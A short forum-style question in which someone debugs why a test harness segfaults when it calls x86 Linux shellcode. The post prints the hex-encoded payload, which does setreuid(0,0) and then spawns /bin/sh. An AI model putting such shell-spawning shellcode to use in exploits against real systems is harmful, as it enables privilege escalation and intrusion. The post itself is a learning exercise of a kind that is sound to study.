This is what I do and what I get:
[EMAIL PROTECTED]:~/prog/shell$ gcc -o vuln vuln.c
[EMAIL PROTECTED]:~/prog/shell$ ./vuln
0x8049600
Segmentation fault
Where 0x8049600 is the address of my shellcode, obtained this way:
char shell[] =
"\xeb\x25\x5e\xb8\x46\x00\x00\x00"
"\xbb\x00\x00\x00\x00\xb9\x00\x00"
"\x00\x00\xcd\x80\xb8\x0b\x00\x00"
"\x00\x89\xf3\x6a\x00\x56\x89\xe4"
"\xba\x00\x00\x00\x00\xcd\x80\xe8"
"\xd6\xff\xff\xff"
"/bin/sh";
main() {
printf ("%p\n",shell);
__asm__("call 0x8049600");
}
So I'm quite sure 0x8049600 is the REAL address of my shellcode. I guessed it's
a linker problem...but why? The reference in the call it's quite accurate I
think...
